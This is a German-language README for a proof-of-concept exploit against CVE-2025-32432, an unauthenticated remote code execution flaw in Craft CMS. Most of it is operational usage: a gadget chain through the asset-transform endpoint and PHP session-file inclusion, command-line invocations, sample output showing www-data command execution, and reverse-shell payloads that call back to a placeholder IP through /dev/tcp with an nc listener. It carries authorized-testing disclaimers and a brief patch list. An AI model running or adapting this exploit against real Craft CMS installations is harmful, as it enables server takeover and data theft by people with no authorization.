
Single-target proof of concept für CVE-2025-32432, eine Remote-Codeausführung ohne Authentifizierung in Craft CMS. Führt die Schwachstellenbestätigung über das phpinfo-Gadget und optionale Befehlsausführung über eine Session-File-Include-Kette durch.
Nur für autorisierte Tests. Dieses Repository ist für kontrollierte Laborumgebungen, CTF-Plattformen wie Hack The Box, interne Validierung und defensive Überprüfungen gedacht. Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine explizite Berechtigung zum Testen haben.
Dieses Projekt enthält einen Single-Target-Proof-of-Concept für CVE-2025-32432, ein Pre-Authentifizierungs-Problem mit Remote-Codeausführung in Craft CMS.
Der PoC führt zwei Schritte aus:
phpinfo()-Gadgets über den Asset-Transform-Generierungsendpunkt von Craft CMS.Das Skript vermeidet ein häufiges False-Negative-Problem, das in einigen öffentlichen PoCs auftritt: Eine normale Bildtransformationsanfrage kann 404 zurückgeben, während derselbe Endpunkt und dieselbe assetId noch funktionieren, wenn die tatsächliche Gadget-Payload verwendet wird.
Laut der offiziellen Craft CMS Advisory und öffentlichen Advisory-Datenbanken sind folgende Versionen betroffen:
| Craft CMS-Branch | Betroffene Versionen | Korrigierte Version |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Führen Sie sofort ein Upgrade auf eine behobene Version durch, wenn Sie für eine Craft-CMS-Installation verantwortlich sind.
Der PoC folgt diesem Ablauf:
CSRF-Token holen
|
v
Endpunkt + assetId mit phpinfo-Gadget testen
|
v
Bestätigen, dass die verwundbare Antwort PHP Version / PHP License enthält
|
v
Craft-Session-Rückgabe-URL mit PHP-Payload vergiften
|
v
yii\rbac\PhpManager auslösen, um die PHP-Session-Datei einzubinden
|
v
Optionalen Befehl ausführen
Wichtige Implementierungsdetails:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout ist für Reverse-Shell-Szenarien enthalten.craftcms_cve_2025_32432_public_poc.py Haupt-PoC für einzelne Ziele
README.md Projektdokumentation
requestsurllib3Abhängigkeiten installieren:
python3 -m pip install requests urllib3
Dies bestätigt die Schwachstelle nur mit dem phpinfo-Gadget.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
Erwartete erfolgreiche Ausgabe:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
Die phpinfo-Antwort wird gespeichert als:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
Beispiel einer erfolgreichen Ausgabe:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Verwenden Sie dies, wenn Sie die funktionierenden Werte bereits kennen.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
Manche Ziele verwenden möglicherweise einen benutzerdefinierten Front-Controller wie x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
Dies testet Routen wie:
http://target.local/x.php?p=admin/actions/assets/generate-transform
Starten Sie zuerst einen Listener:
rlwrap -cAr nc -lvnp 12345
Führen Sie dann den PoC mit einem Reverse-Shell-Befehl aus:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 deaktiviert das Request-Timeout. Dies ist nützlich, da Reverse-Shells die HTTP-Anfrage oft offen halten.
Abgetrennte Variante:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
| Option | Beschreibung | Standard |
|---|---|---|
-u, --url | Basis-URL des Ziels | Erforderlich |
-c, --cmd | Optionaler Befehl, der nach phpinfo-Bestätigung ausgeführt werden soll | Keiner |
--front | Front-Controller-Dateiname | index.php |
-s, --scan-max | Maximale assetId, die mit dem phpinfo-Gadget getestet werden soll | 50 |
-a, --asset | Bekannte funktionierende Asset-ID | Keiner |
--endpoint | Bekannter funktionierender generate-transform-Endpunkt | Keiner |
--session-dir | PHP-Session-Verzeichnis. Kann mehrmals angegeben werden | Integrierte Liste |
--timeout | Request-Timeout für die Befehlsauslösung. Verwenden Sie 0 für kein Timeout | 20 |
assetId 0 -> HTTP 404 während des normalen ScansVerlassen Sie sich nicht auf eine normale Transformationsanfrage zur Erkennung. Manche Ziele geben 404 für einen normalen Transformationskörper zurück, führen aber trotzdem das Gadget-Payload aus.
Dieser PoC entdeckt gültige Kombinationen mit dem phpinfo-Gadget selbst.
Versuchen Sie, das Session-Verzeichnis manuell anzugeben:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
Dann versuchen Sie:
--session-dir /var/lib/php/session
oder:
--session-dir /tmp
Verwenden Sie einen dieser Ansätze:
--timeout 0
Verwenden Sie ein abgetrenntes Payload mit setsid oder nohup.
Bestätigen Sie, dass Ihre Callback-IP korrekt ist:
ip -br a | grep tun
Dies kann normal sein, wenn die Reverse-Shell erfolgreich verbunden wurde. Überprüfen Sie Ihren Listener, bevor Sie das Timeout als Fehler behandeln.
Versuchen Sie zuerst einen einfacheren Befehl:
-c "id"
-c "whoami"
-c "pwd"
Wenn einfache Befehle funktionieren, komplexe jedoch fehlschlagen, setzen Sie den Befehl sorgfältig in Anführungszeichen oder verwenden Sie ein abgetrenntes Shell-Payload.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Wenn Sie eine Craft-CMS-Instanz verwalten:
3.9.15, 4.14.15, 5.6.17 oder neuer durch..env und Datenbankanmeldeinformationen, wenn ein Missbrauch vermutet wird.Dieses Projekt dient ausschließlich Bildungs-, Forschungs-, Labor- und defensiven Validierungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch. Testen Sie nur Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben.